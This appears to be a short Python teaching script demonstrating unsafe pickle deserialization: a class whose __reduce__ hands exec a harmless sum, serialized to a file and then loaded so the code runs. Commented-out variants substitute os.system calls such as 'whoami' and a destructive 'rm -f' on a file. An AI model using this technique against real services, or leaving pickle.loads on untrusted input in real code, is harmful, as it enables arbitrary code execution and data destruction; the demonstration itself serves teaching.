############################################ | |
#example of unsafe de-serialization | |
import pickle | |
import os | |
#1. creating a Evil class which has our malicious payload command (‘whoami’) | |
class EvilPickle(object): | |
#def __reduce__(self): | |
#exec('print("Hello Exec")') | |
#return os.system, ('ls',) | |
#return (os.system, ('whoami', )) | |
def __reduce__(self): | |
#cmd = ('rm -f h://IDrive/pickle-tests/ex1/test.txt') | |
#cmd = ('ls -al') | |
#cmd = (eval('print("Hello Exec")')) | |
#return os.system, (cmd,) | |
return exec, ('a = 7\nb = 10\nprint("Sum = ", a + b)', ) | |
#2. serializing the malicious class | |
pickle_data = pickle.dumps(EvilPickle()) | |
#storing the serialized output into a file in current directory | |
with open("backup.data", "wb") as file: | |
file.write(pickle_data) | |
#3. reading the malicious serialized data and de-serializing it | |
with open("backup.data", "rb") as file: | |
pickle_data = file.read() | |
my_data = pickle.loads(pickle_data) | |
########################################### |